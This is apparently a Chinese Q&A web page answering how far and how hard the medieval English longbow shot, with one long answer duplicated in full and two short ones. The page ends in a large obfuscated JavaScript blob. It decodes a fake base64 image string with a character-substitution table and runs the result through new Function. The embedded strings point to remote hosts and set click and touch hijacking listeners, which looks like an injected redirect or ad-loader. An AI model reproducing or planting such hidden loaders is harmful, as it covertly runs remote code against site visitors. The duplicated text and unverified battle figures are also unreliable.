中世纪英国长弓的射程和威力如何?
中世纪英国长弓的射程和威力如何?
推荐回答(3个)
英格兰长弓是冷兵器时代最强悍的武器之一。人类历史上,从没有任何其它的弓创造过长弓这样传奇般的战例和不可战胜的神话,它对其它弓弩所占据压倒性优势从未动摇过。
如果你检视下附图中的长弓,肯定会觉得这种构造简单的东东怎么可能创造如此神话般的威力。人类发展史上,为了提高弓的威力,可谓费劲了心机。我们知道,复合弓的出现使弓的性能上了个大台阶,人们使用鱼胶把牛角贴在弓的正面,把动物筋腱贴在反面,两端加上弓弰,再加上采用反曲弓的构造,使弓的威力得到巨大的提高。采用其它原理的也有,反正是要挖空心思提高弓的储能性。
与这些工艺极复杂、成本极昂贵的复合弓相比,英国长弓简单到不可思议。它就是拿根“破木头”弯成的,未上弦是完全就是一根扁担,即没有使用复合材料,也不是反曲弓造形。所以这种玩艺儿居然能成为神话般的大杀器,实在让制造复合弓的大师会觉得太没天理了:我花几个月用无数极品材料制造的弓,怎么会不如英国佬两小时就能拿根破木头“粗制滥造”出来的玩艺呢?
更觉冤枉的是复合功的使用者。单从储能的角度讲,有人计算英国长弓的储能不到亚洲复合弓的一半,882J/Kg比近1960J/Kg。长弓的拉力与不到亚洲复合弓的一半,36公斤比80公斤。所以亚洲弓手们更不服啊:凭什么花了一倍以上的力气拉弓,也没有取得英国长弓手般的战果呢?
但长弓空前绝后的战绩也是不容置疑的。所以直接现代,科学家们都很想揭开长弓威力之谜。
我看过美探索频道的一期节目,科学们通过对玛丽罗斯号古沉船里打捞上来的那个时代的英国长弓,基本上揭开了这个神话的技术依据。
首先是长弓的长度占优,约1.5至2米长。弓越长储能性越好,威力越大,这个是大家早就知道的。
其次是长弓的制造材料精良,比如好的长弓拿产自西班牙等地的紫杉木制造,强韧且弹性极佳,以致英王要求外商拿紫杉交税,而西班牙人也曾吃亏长弓亏后砍伐掉紫杉林防止为英所用。从双方对这种木材的态度也可看出,材料性能对长弓多么重要。
但这两条都不是决定性的,因为前面已经提到储量数据的差距了。不过前述数据仅供参考,因为是拿后世流传的长弓计算的,而这次打捞上来的中世纪优质长弓比这强些,拉力估计可达70公斤左右,但长弓拉力不如高档的复合功也是事实。英国人不过是通过长度和材料尽可能提高木材的性能罢了。如果拿普通木材做短弓,储能还要低很多。
最有趣的是,现代科学家在试验中发现,当长弓使用同样材料造成弓体和箭杆时,竟然会发生一种神奇的效果。慢镜头显示,弓手松弦时,箭杆会发生往返弯曲振颤,且频率使其在穿过弓体时,正好避开弓体。也就是说,别的弓发射时,箭杆和箭羽因为与弓体磨擦,消耗了能量也影响了精度,而英国长弓却没有这个问题。也许英国人不是故意这么设计的,他们不可能懂什么振颤偶合之类的高科技知识,但客观效果却确实如此。
所以,虽然英国长弓的储能性不是最好的,但真正作用到箭体的能量却极高。特别是和弩(即西方人所谓的十字弓)相比,强弩的储能肯定远大于长弓,因为弓只能单臂拉开,而弩可用借腰背腿的力量双臂拉开。但弩箭却是平放在支架上,它发射与木架的磨擦力很大,消耗了不小的能量。这就是英国长弓能达到强弩威力的原因。
更关键的是长弓的使用方法与众不同。别的弓大多是直射使用,随飞行距离能量不断损失,直到强弩之末势不能穿鲁缟。但长弓最经典的射击是45度向上方,飞行前段是动能换势能,后段是势能换回动能,最后靠箭体重量几乎垂直地从天下砸下来,甚至可以射透重甲骑兵的厚甲。现代人拿长弓平射中世纪的板甲,发现它虽能击穿1.2毫米的板甲,但很难穿透当时达到2毫米的正面胸甲,没什么特别神奇之处。但当年英国人拿长弓远程屠杀法国重甲骑兵,也是不争的事实。我认为,这正是发射弹道不同的缘故,用平射方式是很难理解长弓的威力的。
走高空射道不仅能使箭的最终着速大威力强,也能使射程增加,这个45度弹道最远的弹道连小学生都知道。长弓最远可射400码,以至英王曾下令禁止长弓手在200码内射击。这个射程肯定是属于弓类中相当可观的,甚至亚洲的复合弓也未必比得上。
长弓真正最强悍之处在于它的发射速度,精确射击点目标的射速通常是6发/分,远射大致瞄准时12发/分,而极限可达15发/分!这个射速不要说强弩,就算其它的弓都差远了。这个惊人的射速主要得益于其相对较轻的拉力(比复合弓小一半噢),合理的人机工程(前臂伸直拉弦至眼部正好36公斤拉力),加上科学的射击流水作业程序(将箭事先插面前土中,取箭拉箭发射一气呵成,频率极快)。特别是大兵团作战时,并不要求弓手瞄准某个点目标发射,而只要求射到敌重兵集群那个范围内就好,因此完成可以省略瞄准的时间。因此以5千弓手,12发/分射速计算,每分钟可向敌重兵集团发射6万支箭,端地是暴风骤雨般的火力,相当于现代战争中机枪对密集敌军的屠杀!
看看实战效果:
克雷西战役中,4万法国重骑兵加6千瑞士弩手进攻500英国骑兵加7000长弓手,前期弓弩对抗中弩手落花流水溃散,法方被射杀约15000人而惨败,英军损失不到300人。
金阿库特战役中,法方近4万重骑兵加7千弓弩手,而英方只有900重甲步兵加5000长弓手(多数还拉着痢疾,士气不高)。但在英国长弓手暴风骤雨般射击下,法方损失近两万人惨败,英国只死了250人左右。
如此悬殊的事先力量对比和事后一边倒的结果,完全得益于英国长弓惊人的威力,其压倒性优势不容置疑。这样的战例,在冷兵器时代的弓箭使用中从未发生过,也是兵器优势的著名战例。
曾有学者在综合计算射程、威力、射速、可靠性等各因此,得出中世纪后期各种兵器的综合性能对比为:普通弓21分,长弓36分,弩33分,16世纪火绳枪10分,17世纪滑膛枪19分,18世纪燧发枪43分。可见,长弓的性能无愧于冷兵器之王,甚至早期火器亦不能与之相比,直到18世纪的燧发枪才比它更强。
不过,长弓的被淘汰早于18世纪。因为它对射手的训练要求很高。拉力不是大问题,因为它比亚洲复合弓拉力小。但如此快速的连续射击,还是对体力有较强要求,特别是保持精度和速度,需要长期训练。16世纪时英国将领经常抱怨能达到标准的弓手人数较少,还不如拿火枪算了。
总结一下,对英国长弓的威力,我们既不要神话,也不要低估。长弓的储能性远不及亚洲复合弓是事实,但发射出去的箭的威力却接近,特别是靠独特的高弹道发射方式获得了复合弓也难达到的射程和穿透力,超前的面积杀伤原理使之获得了超高的射速,使之在大兵团作战中的威力没有任何其它兵器可与之相提并论。如此威力加上低廉的造价,说它是冷兵器时代的最好的弓并不过分。而亚洲复合弓因为要以较小的尺寸达到极大的储能,所以制造的科技合量更高,这种小而硬的弓使用较费劲,实战中并没有英国长弓那样效果好。英格兰长弓是冷兵器时代最强悍的武器之一。人类历史上,从没有任何其它的弓创造过长弓这样传奇般的战例和不可战胜的神话,它对其它弓弩所占据压倒性优势从未动摇过。
如果你检视下附图中的长弓,肯定会觉得这种构造简单的东东怎么可能创造如此神话般的威力。人类发展史上,为了提高弓的威力,可谓费劲了心机。我们知道,复合弓的出现使弓的性能上了个大台阶,人们使用鱼胶把牛角贴在弓的正面,把动物筋腱贴在反面,两端加上弓弰,再加上采用反曲弓的构造,使弓的威力得到巨大的提高。采用其它原理的也有,反正是要挖空心思提高弓的储能性。
与这些工艺极复杂、成本极昂贵的复合弓相比,英国长弓简单到不可思议。它就是拿根“破木头”弯成的,未上弦是完全就是一根扁担,即没有使用复合材料,也不是反曲弓造形。所以这种玩艺儿居然能成为神话般的大杀器,实在让制造复合弓的大师会觉得太没天理了:我花几个月用无数极品材料制造的弓,怎么会不如英国佬两小时就能拿根破木头“粗制滥造”出来的玩艺呢?
更觉冤枉的是复合功的使用者。单从储能的角度讲,有人计算英国长弓的储能不到亚洲复合弓的一半,882J/Kg比近1960J/Kg。长弓的拉力与不到亚洲复合弓的一半,36公斤比80公斤。所以亚洲弓手们更不服啊:凭什么花了一倍以上的力气拉弓,也没有取得英国长弓手般的战果呢?
但长弓空前绝后的战绩也是不容置疑的。所以直接现代,科学家们都很想揭开长弓威力之谜。
我看过美探索频道的一期节目,科学们通过对玛丽罗斯号古沉船里打捞上来的那个时代的英国长弓,基本上揭开了这个神话的技术依据。
首先是长弓的长度占优,约1.5至2米长。弓越长储能性越好,威力越大,这个是大家早就知道的。
其次是长弓的制造材料精良,比如好的长弓拿产自西班牙等地的紫杉木制造,强韧且弹性极佳,以致英王要求外商拿紫杉交税,而西班牙人也曾吃亏长弓亏后砍伐掉紫杉林防止为英所用。从双方对这种木材的态度也可看出,材料性能对长弓多么重要。
但这两条都不是决定性的,因为前面已经提到储量数据的差距了。不过前述数据仅供参考,因为是拿后世流传的长弓计算的,而这次打捞上来的中世纪优质长弓比这强些,拉力估计可达70公斤左右,但长弓拉力不如高档的复合功也是事实。英国人不过是通过长度和材料尽可能提高木材的性能罢了。如果拿普通木材做短弓,储能还要低很多。
最有趣的是,现代科学家在试验中发现,当长弓使用同样材料造成弓体和箭杆时,竟然会发生一种神奇的效果。慢镜头显示,弓手松弦时,箭杆会发生往返弯曲振颤,且频率使其在穿过弓体时,正好避开弓体。也就是说,别的弓发射时,箭杆和箭羽因为与弓体磨擦,消耗了能量也影响了精度,而英国长弓却没有这个问题。也许英国人不是故意这么设计的,他们不可能懂什么振颤偶合之类的高科技知识,但客观效果却确实如此。
所以,虽然英国长弓的储能性不是最好的,但真正作用到箭体的能量却极高。特别是和弩(即西方人所谓的十字弓)相比,强弩的储能肯定远大于长弓,因为弓只能单臂拉开,而弩可用借腰背腿的力量双臂拉开。但弩箭却是平放在支架上,它发射与木架的磨擦力很大,消耗了不小的能量。这就是英国长弓能达到强弩威力的原因。
更关键的是长弓的使用方法与众不同。别的弓大多是直射使用,随飞行距离能量不断损失,直到强弩之末势不能穿鲁缟。但长弓最经典的射击是45度向上方,飞行前段是动能换势能,后段是势能换回动能,最后靠箭体重量几乎垂直地从天下砸下来,甚至可以射透重甲骑兵的厚甲。现代人拿长弓平射中世纪的板甲,发现它虽能击穿1.2毫米的板甲,但很难穿透当时达到2毫米的正面胸甲,没什么特别神奇之处。但当年英国人拿长弓远程屠杀法国重甲骑兵,也是不争的事实。我认为,这正是发射弹道不同的缘故,用平射方式是很难理解长弓的威力的。
走高空射道不仅能使箭的最终着速大威力强,也能使射程增加,这个45度弹道最远的弹道连小学生都知道。长弓最远可射400码,以至英王曾下令禁止长弓手在200码内射击。这个射程肯定是属于弓类中相当可观的,甚至亚洲的复合弓也未必比得上。
长弓真正最强悍之处在于它的发射速度,精确射击点目标的射速通常是6发/分,远射大致瞄准时12发/分,而极限可达15发/分!这个射速不要说强弩,就算其它的弓都差远了。这个惊人的射速主要得益于其相对较轻的拉力(比复合弓小一半噢),合理的人机工程(前臂伸直拉弦至眼部正好36公斤拉力),加上科学的射击流水作业程序(将箭事先插面前土中,取箭拉箭发射一气呵成,频率极快)。特别是大兵团作战时,并不要求弓手瞄准某个点目标发射,而只要求射到敌重兵集群那个范围内就好,因此完成可以省略瞄准的时间。因此以5千弓手,12发/分射速计算,每分钟可向敌重兵集团发射6万支箭,端地是暴风骤雨般的火力,相当于现代战争中机枪对密集敌军的屠杀!
看看实战效果:
克雷西战役中,4万法国重骑兵加6千瑞士弩手进攻500英国骑兵加7000长弓手,前期弓弩对抗中弩手落花流水溃散,法方被射杀约15000人而惨败,英军损失不到300人。
金阿库特战役中,法方近4万重骑兵加7千弓弩手,而英方只有900重甲步兵加5000长弓手(多数还拉着痢疾,士气不高)。但在英国长弓手暴风骤雨般射击下,法方损失近两万人惨败,英国只死了250人左右。
如此悬殊的事先力量对比和事后一边倒的结果,完全得益于英国长弓惊人的威力,其压倒性优势不容置疑。这样的战例,在冷兵器时代的弓箭使用中从未发生过,也是兵器优势的著名战例。
曾有学者在综合计算射程、威力、射速、可靠性等各因此,得出中世纪后期各种兵器的综合性能对比为:普通弓21分,长弓36分,弩33分,16世纪火绳枪10分,17世纪滑膛枪19分,18世纪燧发枪43分。可见,长弓的性能无愧于冷兵器之王,甚至早期火器亦不能与之相比,直到18世纪的燧发枪才比它更强。
不过,长弓的被淘汰早于18世纪。因为它对射手的训练要求很高。拉力不是大问题,因为它比亚洲复合弓拉力小。但如此快速的连续射击,还是对体力有较强要求,特别是保持精度和速度,需要长期训练。16世纪时英国将领经常抱怨能达到标准的弓手人数较少,还不如拿火枪算了。
总结一下,对英国长弓的威力,我们既不要神话,也不要低估。长弓的储能性远不及亚洲复合弓是事实,但发射出去的箭的威力却接近,特别是靠独特的高弹道发射方式获得了复合弓也难达到的射程和穿透力,超前的面积杀伤原理使之获得了超高的射速,使之在大兵团作战中的威力没有任何其它兵器可与之相提并论。如此威力加上低廉的造价,说它是冷兵器时代的最好的弓并不过分。而亚洲复合弓因为要以较小的尺寸达到极大的储能,所以制造的科技合量更高,这种小而硬的弓使用较费劲,实战中并没有英国长弓那样效果好。
据现代人复原长弓所得到的数据,长弓的射程可以达到500米,有效杀伤距离在300米左右,200米内可以对装甲目标有效杀伤。冷兵器时代抛射武器的绝对王者。
长弓最大的优点是其射程和穿透力,甚至早期火枪的射程和精度都远远不及长弓。
长弓最大的缺点是对使用者要求很高。一般短弓复合弓射手只需要稍加训练就可以参战,而长弓手必须有身高臂长的体型和极大的膂力,很难培养。当年法国人抓住英国长弓手就会割掉他们的右手拇指和食指,防止他们再上战场。而每一个长弓手的损失都比数名普通步兵更让国王心疼。
有效射程在200M左右,威力巨大,算是弓里面比较强的一种了,文艺复兴前期算是比较厉害的武器,但是使用限制比较多,不是每个人都有机会遇上阿金库尔那里的对手,在文艺复兴后期,随着板甲,火枪的诞生和大量使用,成为了鸡肋兵种
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();